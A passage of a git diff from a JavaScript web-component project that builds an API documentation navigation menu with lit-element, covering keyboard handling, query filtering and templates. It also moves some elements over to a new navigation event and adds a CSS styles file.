+    this[hasPassiveSelection] = true;
+    const collapse = /** @type AnypointCollapseElement */ (node.parentElement);
+    if (!collapse.opened) {
+      collapse.opened = true;
+    }
+  }
+
+  /**
+   * Endpoint label click handler.
+   * Toggles endpoint's methods list.
+   *
+   * @param {MouseEvent} e
+   */
+  [toggleEndpoint](e) {
+    // @ts-ignore
+    const path = (e.composedPath && e.composedPath()) || e.path;
+    const test = true;
+    while (test) {
+      const node = path.shift();
+      if (!node) {
+        return;
+      }
+      if (node.nodeType !== 1) {
+        continue;
+      }
+      if (!node.dataset.endpointId) {
+        continue;
+      }
+      this.toggleOperations(node.dataset.endpointId);
+      break;
+    }
+  }
+
+  /**
+   * @param {MouseEvent} e 
+   */
+  [toggleEndpointDocumentation](e) {
+    if (!this.noOverview) {
+      return this[toggleEndpoint](e)
+    }
+  }
+
+  /**
+   * @param {MouseEvent} e 
+   */
+  [toggleEndpointButton](e) {
+    if (this.noOverview) {
+      return this[toggleEndpoint](e)
+    }
+  }
+
+  /**
+   * Computes `style` attribute value for endpoint item.
+   * It sets padding-left property to indent resources.
+   * See https://github.com/mulesoft/api-console/issues/571.
+   *
+   * @param {number} factor Computed indent factor for the resource
+   * @param {number} size The size of indentation in pixels.
+   * @returns {string} Style attribute value for the item.
+   */
+  [computeEndpointPadding](factor, size) {
+    const padding = this[computeEndpointPaddingLeft]();
+    if (factor < 1) {
+      return `padding-left: ${padding}px`;
+    }
+    const result = factor * size + padding;
+    return `padding-left: ${result}px`;
+  }
+
+  /**
+   * @param {number} factor 
+   * @param {number} size 
+   * @returns {string}
+   */
+  [computeMethodPadding](factor, size) {
+    const padding = this[computeOperationPaddingLeft]();
+    if (factor < 1) {
+      return `padding-left: ${padding}px`;
+    }
+    const result = factor * size + padding;
+    return `padding-left: ${result}px`;
+  }
+
+  /**
+   * Computes operation list item left padding from CSS variables.
+   * @return {number}
+   */
+  [computeOperationPaddingLeft]() {
+    let paddingLeft;
+    const prop = '--api-navigation-operation-item-padding-left';
+    const defaultPadding = 24;
+    // @ts-ignore
+    if (window.ShadyCSS) {
+      // @ts-ignore
+      paddingLeft = window.ShadyCSS.getComputedStyleValue(this, prop);
+    } else {
+      paddingLeft = getComputedStyle(this).getPropertyValue(prop);
+    }
+    if (!paddingLeft) {
+      return defaultPadding;
+    }
+    paddingLeft = paddingLeft.replace('px', '').trim();
+    const result = Number(paddingLeft);
+    if (Number.isNaN(result)) {
+      return defaultPadding;
+    }
+    return result;
+  }
+
+  /**
+   * Computes endpoint list item left padding from CSS variables.
+   * @return {Number}
+   */
+  [computeEndpointPaddingLeft]() {
+    let padding;
+    const prop = '--api-navigation-list-item-padding';
+    const defaultPadding = 16;
+    // @ts-ignore
+    if (window.ShadyCSS) {
+      // @ts-ignore
+      padding = window.ShadyCSS.getComputedStyleValue(this, prop);
+    } else {
+      padding = getComputedStyle(this).getPropertyValue(prop);
+    }
+    if (!padding) {
+      return defaultPadding;
+    }
+    const parts = padding.split(' ');
+    let paddingLeftValue;
+    switch (parts.length) {
+      case 1:
+        paddingLeftValue = parts[0];
+        break;
+      case 2:
+        paddingLeftValue = parts[1];
+        break;
+      case 3:
+        paddingLeftValue = parts[1];
+        break;
+      case 4:
+        paddingLeftValue = parts[3];
+        break;
+      default:
+        return defaultPadding;
+    }
+    if (!paddingLeftValue) {
+      return defaultPadding;
+    }
+    paddingLeftValue = paddingLeftValue.replace('px', '').trim();
+    const result = Number(paddingLeftValue);
+    if (Number.isNaN(result)) {
+      return defaultPadding;
+    }
+    return result;
+  }
+
+  /**
+   * Returns filtered list of items to render in the menu list.
+   * When `query` is set it tests `label` property of each item if it contains
+   * the query. Otherwise it returns all items.
+   * @param {NavigationItem[]} items Name of the source property keeping array values to render.
+   * @returns {Array<TypeItem|DocumentationItem|SecurityItem|EndpointItem>|undefined}
+   */
+  [getFilteredType](items) {
+    if (!Array.isArray(items) || !items.length) {
+      return undefined;
+    }
+    const q = this[queryValue];
+    if (!q) {
+      return items;
+    }
+    return items.filter(item => {
+      if (typeof item.label !== 'string') {
+        return false;
+      }
+      return item.label.toLowerCase().indexOf(q) !== -1;
+    });
+  }
+
+  /**
+   * Returns a list of endpoints to render.
+   * When `query` is set it returns filtered list of endpoints for given query.
+   * Otherwise it returns all endpoints.
+   * @returns {EndpointItem[]|undefined} Filtered list of endpoints
+   */
+  [getFilteredEndpoints]() {
+    const value = this[endpointsValue];
+    if (!value || !value.length) {
+      return undefined;
+    }
+    const q = this[queryValue];
+    if (!q) {
+      return value;
+    }
+
+    const result = [];
+    for (let i = 0, len = value.length; i < len; i++) {
+      const endpoint = value[i];
+      // If the endpoint's path or label matches the query include whole item
+      if (
+        (endpoint.path || '').toLowerCase().indexOf(q) !== -1 ||
+        (endpoint.label || '').toLowerCase().indexOf(q) !== -1
+      ) {
+        result[result.length] = endpoint;
+        continue;
+      }
+      // otherwise check all methods and only include matched methods. If none match
+      // then do not include endpoint.
+      const eMethods = endpoint.methods;
+      if (!eMethods || !eMethods.length) {
+        continue;
+      }
+      const methods = [];
+      for (let j = 0, mLen = eMethods.length; j < mLen; j++) {
+        const method = eMethods[j];
+        if (
+          (method.label || '').toLowerCase().indexOf(q) !== -1 ||
+          method.method.indexOf(q) !== -1
+        ) {
+          methods[methods.length] = method;
+        }
+      }
+      if (methods.length) {
+        const copy = { ...endpoint };
+        copy.methods = methods;
+        result[result.length] = copy;
+      }
+    }
+    return result;
+  }
+
+  /**
+   * Closes all `anypoint-collapse` elements
+   */
+  [closeCollapses]() {
+    if (this[openedOperationsValue].length > 0) {
+      this[openedOperationsValue] = /** @type string[] */ ([]);
+      this.requestUpdate();
+    }
+  }
+
+  /**
+   * A handler for the focus event on this element.
+   * @param {FocusEvent} e
+   */
+  [focusHandler](e) {
+    if (this[shiftTabPressed]) {
+      // do not focus the menu itself
+      return;
+    }
+    // @ts-ignore
+    const path = (e.composedPath && e.composedPath()) || e.path;
+    const rootTarget = path[0];
+    if (
+      rootTarget !== this &&
+      typeof rootTarget.tabIndex !== 'undefined' &&
+      !this.contains(rootTarget)
+    ) {
+      return;
+    }
+    this[focusedItemPrivate] = null;
+    if (this.selectedItem) {
+      this.selectedItem.focus();
+      this[focusedItemPrivate] = this.selectedItem;
+    } else {
+      this.focusNext();
+    }
+  }
+
+  /**
+   * Focuses on the previous item in the navigation.
+   */
+  focusPrevious() {
+    const items = this[listActiveItems]();
+    const { length } = items;
+    const curFocusIndex = items.indexOf(this[focusedItemPrivate]);
+    for (let i = 1; i < length + 1; i++) {
+      const item = items[(curFocusIndex - i + length) % length];
+      if (!item.hasAttribute('disabled')) {
+        const owner = (item.getRootNode && item.getRootNode()) || document;
+        this[focusedItemPrivate] = item;
+        // Focus might not have worked, if the element was hidden or not
+        // focusable. In that case, try again.
+        // @ts-ignore
+        if (owner.activeElement === item) {
+          return;
+        }
+      }
+    }
+  }
+
+  /**
+   * Focuses on the next item in the navigation.
+   */
+  focusNext() {
+    const items = this[listActiveItems]();
+    const { length } = items;
+    const curFocusIndex = items.indexOf(this[focusedItemPrivate]);
+    for (let i = 1; i < length + 1; i++) {
+      const item = items[(curFocusIndex + i) % length];
+      if (!item.hasAttribute('disabled')) {
+        const owner = (item.getRootNode && item.getRootNode()) || document;
+        this[focusedItemPrivate] = item;
+        // Focus might not have worked, if the element was hidden or not
+        // focusable. In that case, try again.
+        // @ts-ignore
+        if (owner.activeElement === item) {
+          return;
+        }
+      }
+    }
+  }
+
+  /**
+   * Resets all tabindex attributes to the appropriate value based on the
+   * current selection state. The appropriate value is `0` (focusable) for
+   * the default selected item, and `-1` (not keyboard focusable) for all
+   * other items. Also sets the correct initial values for aria-selected
+   * attribute, true for default selected item and false for others.
+   */
+  [resetTabindices]() {
+    const { selectedItem } = this;
+    const items = this[listActiveItems]();
+    items.forEach(item => {
+      item.setAttribute('tabindex', item === selectedItem ? '0' : '-1');
+    });
+  }
+
+  /**
+   * Lists all HTML elements that are currently rendered in the view.
+   * @return {Element[]} Currently rendered items.
+   */
+  [listActiveItems]() {
+    if (this[itemsValue]) {
+      return this[itemsValue];
+    }
+    let result = [];
+    if (this.summary) {
+      const node = this.shadowRoot.querySelector('.list-item.summary');
+      if (node) {
+        result[result.length] = node;
+      }
+    }
+    if (this.hasEndpoints) {
+      const node = this.shadowRoot.querySelector('.endpoints .section-title');
+      if (node) {
+        result[result.length] = node;
+      }
+      let nodes;
+      if (this.noOverview) {
+        nodes = this.shadowRoot.querySelectorAll(
+          '.endpoints .list-item.endpoint .path-details,.endpoint-toggle-button'
+        );
+      } else {
+        nodes = this.shadowRoot.querySelectorAll(
+          '.endpoints .list-item.endpoint'
+        );
+      }
+      for (let i = 0; i < nodes.length; i++) {
+        const item = nodes[i];
+        result[result.length] = item;
+        const collapse = this.noOverview ? item.parentElement.nextElementSibling : item.nextElementSibling;
+        if (collapse.localName !== 'anypoint-collapse') {
+          continue;
+        }
+        if (!item.classList.contains('path-details')) {
+          const children = collapse.querySelectorAll('.list-item.operation');
+          if (children.length) {
+            result = result.concat(Array.from(children));
+          }
+        }
+      }
+    }
+    if (this.hasDocs) {
+      const children = this[listSectionActiveNodes]('.documentation');
+      result = result.concat(Array.from(children));
+    }
+    if (this.hasTypes) {
+      const children = this[listSectionActiveNodes]('.types');
+      result = result.concat(Array.from(children));
+    }
+    if (this.hasSecurity) {
+      const children = this[listSectionActiveNodes]('.security');
+      result = result.concat(Array.from(children));
+    }
+    this[itemsValue] = result.length ? result : undefined;
+    return result;
+  }
+
+  /**
+   * @param {string} selector The prefix for the query selector
+   * @return {Element[]} Nodes returned from query function.
+   */
+  [listSectionActiveNodes](selector) {
+    let result = [];
+    const node = this.shadowRoot.querySelector(`${selector} .section-title`);
+    if (node) {
+      result[result.length] = node;
+      const collapse = node.nextElementSibling;
+      if (collapse) {
+        const children = collapse.querySelectorAll('.list-item');
+        if (children.length) {
+          result = result.concat(Array.from(children));
+        }
+      }
+    }
+    return result;
+  }
+
+  /**
+   * Handler for the keydown event.
+   * @param {KeyboardEvent} e
+   */
+  [keydownHandler](e) {
+    if (e.key === 'ArrowDown') {
+      this[onDownKey](e);
+    } else if (e.key === 'ArrowUp') {
+      this[onUpKey](e);
+    } else if (e.key === 'Tab' && e.shiftKey) {
+      this[onShiftTabDown]();
+    } else if (e.key === 'Escape') {
+      this[onEscKey]();
+    } else if (e.key === ' ' || e.code === 'Space') {
+      this[onSpace](e);
+    } else if (e.key === 'Enter' || e.key === 'NumpadEnter') {
+      this[onSpace](e);
+    }
+    e.stopPropagation();
+  }
+
+  /**
+   * Handler that is called when the up key is pressed.
+   *
+   * @param {KeyboardEvent} e A key combination event.
+   */
+  [onUpKey](e) {
+    this.focusPrevious();
+    e.preventDefault();
+  }
+
+  /**
+   * Handler that is called when the down key is pressed.
+   *
+   * @param {KeyboardEvent} e A key combination event.
+   */
+  [onDownKey](e) {
+    e.preventDefault();
+    e.stopPropagation();
+    this.focusNext();
+  }
+
+  /**
+   * Handler that is called when the esc key is pressed.
+   */
+  [onEscKey]() {
+    const { focusedItem } = this;
+    if (focusedItem) {
+      focusedItem.blur();
+    }
+  }
+
+  /**
+   * A handler for the space bar key down.
+   * @param {KeyboardEvent} e
+   */
+  [onSpace](e) {
+    e.preventDefault();
+    e.stopPropagation();
+    // @ts-ignore
+    const path = (e.composedPath && e.composedPath()) || e.path;
+    const target = /** @type HTMLElement */ (path && path[0]);
+    if (!target) {
+      return;
+    }
+    const { classList } = target;
+    if (classList.contains('section-title')) {
+      this[toggleSection](target);
+    } else if (
+      classList.contains('list-item') &&
+      classList.contains('endpoint')
+    ) {
+      this.toggleOperations(target.dataset.endpointId);
+    } else if (classList.contains('list-item')) {
+      this[selectItem](target);
+    }
+  }
+
+  /**
+   * Handler that is called when a shift+tab keypress is detected by the menu.
+   */
+  [onShiftTabDown]() {
+    const oldTabIndex = this.getAttribute('tabindex');
+    this[shiftTabPressed] = true;
+    this[focusedItemPrivate] = null;
+    this.setAttribute('tabindex', '-1');
+    setTimeout(() => {
+      this.setAttribute('tabindex', oldTabIndex);
+      this[shiftTabPressed] = false;
+    }, 1);
+  }
+
+  render() {
+    const { styles } = this;
+    return html`
+    <style>${styles}</style>
+    <div class="wrapper" role="menu" aria-label="Navigate the API">
+      ${this[summaryTemplate]()}
+      ${this[endpointsTemplate]()} 
+      ${this[documentationTemplate]()}
+      ${this[typesTemplate]()} 
+      ${this[securityTemplate]()}
+    </div> `;
+  }
+
+  /**
+   * @return {TemplateResult|string} The template for the summary entry.
+   */
+  [summaryTemplate]() {
+    if (!this.summaryRendered) {
+      return '';
+    }
+    return html`
+    <section class="summary">
+      <div
+        part="api-navigation-list-item"
+        class="list-item summary"
+        role="menuitem"
+        tabindex="0"
+        data-api-id="summary"
+        data-shape="summary"
+        @click="${this[itemClickHandler]}"
+      >
+        ${this.summaryLabel}
+      </div>
+    </section>
+    `;
+  }
+
+  /**
+   * Renders a template for endpoints and methods list.
+   * @return {TemplateResult|string}
+   */
+  [endpointsTemplate]() {
+    if (!this.hasEndpoints) {
+      return '';
+    }
+    const items = this[getFilteredEndpoints]();
+    if (!items || !items.length) {
+      return '';
+    }
+
+    const sectionLabel = this._isWebAPI(this.amf) ? 'Endpoints' : 'Channels';
+    const lowercaseSectionLabel = sectionLabel.toLowerCase();
+
+    return html` <section
+      class="endpoints"
+      ?data-opened="${this.endpointsOpened}"
+    >
+      <div
+        class="section-title"
+        data-section="endpoints"
+        @click="${this[toggleSectionHandler]}"
+        title="Toggle ${lowercaseSectionLabel} list"
+        aria-haspopup="true"
+        role="menuitem"
+      >
+        <div class="title-h3">${sectionLabel}</div>
+        <anypoint-icon-button
+          part="toggle-button"
+          class="toggle-button"
+          aria-label="Toggle ${lowercaseSectionLabel}"
+          .noink="${this.noink}"
+          ?compatibility="${this.compatibility}"
+          tabindex="-1"
+          data-toggle="endpoints"
+        >
+          <span class="icon">${keyboardArrowDown}</span>
+        </anypoint-icon-button>
+      </div>
+      <anypoint-collapse
+        .opened="${this.endpointsOpened}"
+        aria-hidden="${this.endpointsOpened ? 'false' : 'true'}"
+        role="menu"
+      >
+        <div class="children">
+          ${items.map(item => this[endpointTemplate](item))}
+        </div>
+      </anypoint-collapse>
+    </section>`;
+  }
+
+  /**
+   * @param {EndpointItem} item
+   * @return {TemplateResult|string} Template for an endpoint overview.
+   */
+  [overviewTemplate](item) {
+    if (this.noOverview) {
+      return '';
+    }
+    return html`
+    <div
+      part="api-navigation-list-item"
+      class="list-item operation"
+      role="menuitem"
+      tabindex="0"
+      data-api-id="${item.id}"
+      data-shape="resource"
+      data-endpoint-overview="${item.path}"
+      @click="${this[itemClickHandler]}"
+      style="${this[computeMethodPadding](item.indent, this.indentSize)}"
+    >
+      Overview
+    </div>`
+  }
+
+  /**
+   * @param {EndpointItem} item
+   * @return {TemplateResult} Template for an endpoint path.
+   */
+  [endpointPathTemplate](item) {
+    const { noOverview } = this;
+    return html`<div class="path-details">
+        ${noOverview ?
+      html`<div class="endpoint-name-overview" @click="${this[itemClickHandler]}" data-api-id="${item.id}" data-shape="resource">${item.label}</div>`
+      : html`<div class="endpoint-name">${item.label}</div>`}
+        ${computeRenderPath(this.allowPaths, item.renderPath)
+      ? html`<div class="path-name">${item.path}</div>`
+      : undefined}
+      </div>`;
+  }
+
+    /**
+   * @param {EndpointItem} item
+   * @return {TemplateResult} Template for an endpoint item.
+   */
+  [endpointTemplate](item) {
+    const isEndpointOpened = this[openedOperationsValue].includes(item.id);
+    return html`
+    <div
+      part="api-navigation-list-item"
+      class="list-item endpoint"
+      data-endpoint-id="${item.id}"
+      data-endpoint-path="${item.path}"
+      ?data-endpoint-opened="${isEndpointOpened}"
+      @click="${this[toggleEndpointDocumentation]}"
+      title="Toggle endpoint documentation"
+      style="${/** @type string */ (this[computeEndpointPadding](item.indent, this.indentSize))}"
+      role="menuitem"
+      aria-haspopup="true"
+    >
+      ${this[endpointPathTemplate](item)}
+      <anypoint-icon-button
+        part="api-navigation-endpoint-toggle-button toggle-button"
+        class="endpoint-toggle-button"
+        aria-label="Toggle endpoint"
+        .noink="${this.noink}"
+        ?compatibility="${this.compatibility}"
+        tabindex="-1"
+        @click="${this[toggleEndpointButton]}"
+      >
+        <span class="icon">${keyboardArrowDown}</span>
+      </anypoint-icon-button>
+    </div>
+    <anypoint-collapse
+      part="api-navigation-operation-collapse"
+      class="operation-collapse"
+      data-api-id="${item.id}"
+      ?data-endpoint-opened="${isEndpointOpened}"
+      role="menu"
+      .opened="${isEndpointOpened}"
+    >
+      ${this[overviewTemplate](item)}
+      ${item.methods.map(methodItem =>
+        this[methodTemplate](item, methodItem)
+      )}
+    </anypoint-collapse>`;
+  }
+
+  /**
+   * @param {EndpointItem} endpointItem
+   * @param {MethodItem} operation
+   * @return {TemplateResult}
+   */
+  [methodTemplate](endpointItem, operation) {
+    const style = /** @type string */ (this[computeMethodPadding](endpointItem.indent, this.indentSize));
+    return html`<div
+      part="api-navigation-list-item"
+      class="list-item operation"
+      role="menuitem"
+      tabindex="0"
+      data-api-id="${operation.id}"
+      data-parent-id="${endpointItem.id}"
+      data-shape="operation"
+      @click="${this[itemClickHandler]}"
+      style="${style}"
+    >
+      <span class="method-label" data-method="${operation.method}"
+        >${operation.method}</span
+      >
+      ${operation.label}
+    </div>`;
+  }
+
+  /**
+   * Renders a template for documentation list.
+   * @return {TemplateResult|string}
+   */
+  [documentationTemplate]() {    
+    if (!this.hasDocs) {
+      return '';
+    }
+    const items = /** @type DocumentationItem[] */ (this[getFilteredType](this[docsValue]));
+    if (!items || !items.length) {
+      return '';
+    }
+
+    return html`
+      <section class="documentation" ?data-opened="${this.docsOpened}">
+        <div
+          class="section-title"
+          data-section="docs"
+          @click="${this[toggleSectionHandler]}"
+          title="Toggle documentation list"
+        >
+          <div class="title-h3">Documentation</div>
+          <anypoint-icon-button
+            part="toggle-button"
+            class="toggle-button"
+            noink="${this.noink}"
+            @click="${this[itemClickHandler]}"
+            aria-label="Toggle documents"
+            ?compatibility="${this.compatibility}"
+            tabindex="-1"
+          >
+            <span class="icon">${keyboardArrowDown}</span>
+          </anypoint-icon-button>
+        </div>
+        <anypoint-collapse .opened="${this.docsOpened}">
+          <div class="children">
+            ${items.map(item => this[documentationItemTemplate](item))}
+          </div>
+        </anypoint-collapse>
+      </section>
+    `;
+  }
+
+  /**
+   * @param {DocumentationItem} item
+   * @return {TemplateResult} Template for an docs item
+   */
+  [documentationItemTemplate](item) {
+    if (item.isExternal) {
+      return html`<a
+        href="${item.url}"
+        target="_blank"
+        part="api-navigation-list-item"
+        class="list-item"
+        tabindex="0"
+        data-api-id="${item.id}"
+        data-shape="documentation"
+      >
+        ${item.label}
+        <span class="icon new-tab" title="Opens in a new tab"
+          >${openInNew}</span
+        >
+      </a>`;
+    }
+    return html`<div
+      part="api-navigation-list-item"
+      class="list-item"
+      role="menuitem"
+      tabindex="0"
+      data-api-id="${item.id}"
+      data-shape="documentation"
+      @click="${this[itemClickHandler]}"
+    >
+      ${item.label}
+    </div>`;
+  }
+
+  /**
+   * Renders a template for types list.
+   * @return {TemplateResult|string}
+   */
+  [typesTemplate]() {
+    if (!this.hasTypes) {
+      return '';
+    }
+    const items = this[getFilteredType](this[typesValue]);
+    if (!items || !items.length) {
+      return '';
+    }
+
+    return html`
+      <section class="types" ?data-opened="${this.typesOpened}">
+        <div
+          class="section-title"
+          data-section="types"
+          @click="${this[toggleSectionHandler]}"
+          title="Toggle types list"
+        >
+          <div class="title-h3">Types</div>
+          <anypoint-icon-button
+            part="toggle-button"
+            class="toggle-button"
+            noink="${this.noink}"
+            aria-label="Toggle types"
+            ?compatibility="${this.compatibility}"
+            tabindex="-1"
+            data-toggle="types"
+          >
+            <span class="icon">${keyboardArrowDown}</span>
+          </anypoint-icon-button>
+        </div>
+        <anypoint-collapse .opened="${this.typesOpened}">
+          <div class="children">
+            ${items.map(
+              item =>
+                html`<div
+                  part="api-navigation-list-item"
+                  class="list-item"
+                  role="menuitem"
+                  tabindex="0"
+                  data-api-id="${item.id}"
+                  data-shape="schema"
+                  data-type-name="${item.label}"
+                  @click="${this[itemClickHandler]}"
+                >
+                  ${item.label}
+                </div>`
+            )}
+          </div>
+        </anypoint-collapse>
+      </section>
+    `;
+  }
+
+  /**
+   * @return {TemplateResult|string} template for security schemes list.
+   */
+  [securityTemplate]() {
+    if (!this.hasSecurity) {
+      return '';
+    }
+    const items = this[getFilteredType](this[securityValue]);
+    if (!items || !items.length) {
+      return '';
+    }
+
+    return html` <section
+      class="security"
+      ?data-opened="${this.securityOpened}"
+    >
+      <div
+        class="section-title"
+        data-section="security"
+        @click="${this[toggleSectionHandler]}"
+        title="Toggle security list"
+      >
+        <div class="title-h3">Security</div>
+        <anypoint-icon-button
+          part="toggle-button"
+          class="toggle-button"
+          noink="${this.noink}"
+          aria-label="Toggle security"
+          ?compatibility="${this.compatibility}"
+          tabindex="-1"
+          data-toggle="security"
+        >
+          <span class="icon">${keyboardArrowDown}</span>
+        </anypoint-icon-button>
+      </div>
+      <anypoint-collapse .opened="${this.securityOpened}">
+        <div class="children">
+          ${items.map(
+            item => html`<div
+              part="api-navigation-list-item"
+              class="list-item"
+              role="menuitem"
+              tabindex="0"
+              data-api-id="${item.id}"
+              data-shape="security"
+              data-security-name="${item.label}"
+              @click="${this[itemClickHandler]}"
+            >
+              ${item.label}
+            </div>`
+          )}
+        </div>
+      </anypoint-collapse>
+    </section>`;
+  }
+}
diff --git a/src/elements/ApiRequestElement.js b/src/elements/ApiRequestElement.js
index 1ae0e0d..ff2e5fc 100644
--- a/src/elements/ApiRequestElement.js
+++ b/src/elements/ApiRequestElement.js
@@ -35,6 +35,7 @@ import '../../api-response-view.js';
 /** @typedef {import('../types').ApiConsoleResponse} ApiConsoleResponse */
 /** @typedef {import('../events/RequestEvents').ApiRequestEvent} ApiRequestEvent */
 /** @typedef {import('../events/RequestEvents').ApiResponseEvent} ApiResponseEvent */
+/** @typedef {import('../events/NavigationEvents').ApiNavigationEvent} ApiNavigationEvent */
 
 export const selectedValue = Symbol('selectedValue');
 export const selectedChanged = Symbol('selectedChanged');
@@ -295,10 +296,7 @@ export default class ApiRequestElement extends EventsTargetMixin(LitElement) {
     this.addEventListener(EventTypes.Request.apiRequest, this[requestHandler]);
     node.addEventListener(EventTypes.Request.apiResponse, this[responseHandler]);
     node.addEventListener(EventTypes.Request.apiResponseLegacy, this[responseHandler]);
-    node.addEventListener(
-      'api-navigation-selection-changed',
-      this[navigationHandler]
-    );
+    node.addEventListener(EventTypes.Navigation.apiNavigate, this[navigationHandler]);
   }
 
   /**
@@ -308,10 +306,7 @@ export default class ApiRequestElement extends EventsTargetMixin(LitElement) {
     this.removeEventListener(EventTypes.Request.apiRequest, this[requestHandler]);
     node.removeEventListener(EventTypes.Request.apiResponse, this[responseHandler]);
     node.removeEventListener(EventTypes.Request.apiResponseLegacy, this[responseHandler]);
-    node.removeEventListener(
-      'api-navigation-selection-changed',
-      this[navigationHandler]
-    );
+    node.removeEventListener(EventTypes.Navigation.apiNavigate, this[navigationHandler]);
   }
 
   /**
@@ -471,12 +466,12 @@ export default class ApiRequestElement extends EventsTargetMixin(LitElement) {
    *
    * When `handleNavigationEvents` is set then it also manages the selection.
    *
-   * @param {CustomEvent} e
+   * @param {ApiNavigationEvent} e
    */
   [navigationHandler](e) {
     if (this.handleNavigationEvents) {
-      const { selected: id, type } = e.detail;
-      this.selected = type === 'method' ? id : undefined;
+      const { domainId, domainType } = e.detail;
+      this.selected = domainType === 'operation' ? domainId : undefined;
     }
   }
 
diff --git a/src/elements/ApiSummaryElement.d.ts b/src/elements/ApiSummaryElement.d.ts
index f5212bf..09b8dc7 100644
--- a/src/elements/ApiSummaryElement.d.ts
+++ b/src/elements/ApiSummaryElement.d.ts
@@ -31,7 +31,7 @@ export const methodTemplate: unique symbol;
  * A web component that renders the documentation page for an API documentation (like in RAML documentations) built from 
  * the AMF graph model.
  * 
- * @fires api-navigation-selection-changed
+ * @fires apinavigate
  */
 export default class ApiSummaryElement extends ApiDocumentationBase {
   get summary(): ApiSummary;
diff --git a/src/elements/ApiSummaryElement.js b/src/elements/ApiSummaryElement.js
index c4ff998..34a5789 100644
--- a/src/elements/ApiSummaryElement.js
+++ b/src/elements/ApiSummaryElement.js
@@ -13,6 +13,7 @@ import {
 } from './ApiDocumentationBase.js';
 import { sanitizeHTML } from '../lib/Utils.js';
 import * as UrlLib from '../lib/UrlUtils.js';
+import { NavigationEvents } from '../events/NavigationEvents.js';
 
 /** @typedef {import('lit-element').TemplateResult} TemplateResult */
 /** @typedef {import('../helpers/api').ApiDocumentation} ApiDocumentation */
@@ -24,6 +25,7 @@ import * as UrlLib from '../lib/UrlUtils.js';
 /** @typedef {import('../helpers/amf').EndPoint} EndPoint */
 /** @typedef {import('../types').ApiSummaryEndpoint} ApiSummaryEndpoint */
 /** @typedef {import('../types').ApiSummaryOperation} ApiSummaryOperation */
+/** @typedef {import('../types').SelectionType} SelectionType */
 
 export const summaryValue = Symbol('summaryValue');
 export const serversValue = Symbol('serversValue');
@@ -191,15 +193,7 @@ export default class ApiSummaryElement extends ApiDocumentationBase {
     if (!data.id || !data.shapeType) {
       return;
     }
-    const ev = new CustomEvent('api-navigation-selection-changed', {
-      bubbles: true,
-      composed: true,
-      detail: {
-        selected: data.id,
-        type: data.shapeType,
-      }
-    });
-    this.dispatchEvent(ev);
+    NavigationEvents.apiNavigate(this, data.id, /** @type SelectionType */ (data.shapeType), data.parent);
   }
 
   render() {
@@ -419,7 +413,7 @@ export default class ApiSummaryElement extends ApiDocumentationBase {
       class="endpoint-path"
       href="#${item.path}"
       data-id="${item.id}"
-      data-shape-type="endpoint"
+      data-shape-type="resource"
       title="Open endpoint documentation">${item.path}</a>
     `;
   }
@@ -437,7 +431,7 @@ export default class ApiSummaryElement extends ApiDocumentationBase {
       class="endpoint-path"
       href="#${item.path}"
       data-id="${item.id}"
-      data-shape-type="endpoint"
+      data-shape-type="resource"
       title="Open endpoint documentation">${item.name}</a>
     <p class="endpoint-path-name">${item.path}</p>
     `;
@@ -455,7 +449,8 @@ export default class ApiSummaryElement extends ApiDocumentationBase {
         class="method-label"
         data-method="${item.method}"
         data-id="${item.id}"
-        data-shape-type="method"
+        data-shape-type="operation"
+        data-parent="${endpoint.id}"
         title="Open method documentation">${item.method}</a>
     `;
   }
diff --git a/src/elements/styles/Navigation.js b/src/elements/styles/Navigation.js
new file mode 100644
index 0000000..42ad57c
--- /dev/null
+++ b/src/elements/styles/Navigation.js
@@ -0,0 +1,239 @@
+import { css } from "lit-element";
+
+export default css`
+:host {
+  display: block;
+  background-color: var(--api-navigation-background-color, inherit);
+  color: var(--api-navigation-color, inherit);
+  overflow: auto;
+  position: relative;
+  font-size: var(--arc-font-body1-font-size, inherit);
+  font-weight: var(--arc-font-body1-font-weight, inherit);
+  line-height: var(--arc-font-body1-line-height, inherit);
+  outline: none;
+}
+
+.wrapper {
+  color: inherit;
+}
+
+.section-title {
+  display: flex;
+  flex-direction: row;
+  align-items: center;
+  cursor: pointer;
+  padding: var(--api-navigation-section-title-padding, 4px 16px);
+  background-color: var(
+    --api-navigation-section-title-background-color,
+    inherit
+  );
+  user-select: none;
+  min-height: 40px;
+  color: var(--api-navigation-header-color, inherit);
+  outline: none;
+}
+
+.section-title:focus {
+  background-color: var(
+    --api-navigation-section-title-focus-background-color,
+    #e5e5e5
+  );
+}
+
+.title-h3,
+.list-item.summary {
+  font-size: var(--api-navigation-list-section-font-size, 16px);
+  font-weight: var(--api-navigation-list-section-font-weight, 500);
+  line-height: 24px;
+  flex: 1;
+  flex-basis: 0.000000001px;
+  padding: 0;
+  margin: 0;
+}
+
+.list-item.summary {
+  padding: var(--api-navigation-list-item-summary-padding, 12px 16px);
+}
+
+.list-item.endpoint {
+  font-weight: var(--api-navigation-endpoint-font-weight, 500);
+  font-size: var(--api-navigation-endpoint-font-size, 15px);
+  user-select: none;
+  display: flex;
+  flex-direction: row;
+}
+
+.list-item.endpoint:first-of-type {
+  margin-top: 0px;
+}
+
+.path-details {
+  flex: 1;
+  flex-basis: 0.000000001px;
+}
+
+.path-name,
+.endpoint-name,
+.endpoint-name-overview {
+  overflow: hidden;
+  text-overflow: ellipsis;
+}
+
+.endpoint-name-overview:hover {
+  text-decoration: underline;
+}
+
+.path-name {
+  font-size: var(--api-navigation-path-label-font-size, 13px);
+  color: var(--api-navigation-path-label-color, #616161);
+}
+
+*[hidden] {
+  display: none !important;
+}
+
+.children {
+  background-color: inherit;
+}
+
+.list-item {
+  display: block;
+  position: relative;
+  min-height: var(--api-navigation-list-item-min-height, 40px);
+  padding: var(--api-navigation-list-item-padding, 4px 16px);
+  border: none;
+  outline: none;
+  background-color: inherit;
+  width: 100%;
+  text-align: left;
+  box-sizing: border-box;
+  cursor: pointer;
+  word-break: var(--api-navigation-list-item-word-break, break-all);
+  display: flex;
+  flex-direction: row;
+  align-items: center;
+  /* For Anypoint styles */
+  border-left: var(--api-navigation-list-item-border-left);
+}
+
+.list-item.selected {
+  font-weight: var(--api-navigation-list-item-selected-weight, bold);
+  background-color: var(
+    --api-navigation-list-item-selected-background-color,
+    var(--accent-color)
+  );
+  color: var(--api-navigation-list-item-selected-color, #fff);
+  /* For Anypoint styling */
+  border-left: var(--api-navigation-list-item-selected-border-left, initial);
+}
+
+.list-item.passive-selected {
+  font-weight: var(--api-navigation-list-item-selected-weight, bold);
+}
+
+.list-item[disabled] {
+  color: var(
+    --api-navigation-list-item-disabled-color,
+    var(--disabled-text-color)
+  );
+}
+
+.list-item:focus {
+  position: relative;
+  outline: 0;
+}
+
+.list-item:hover:not(.selected) {
+  /* This is Anypoint styling requirement */
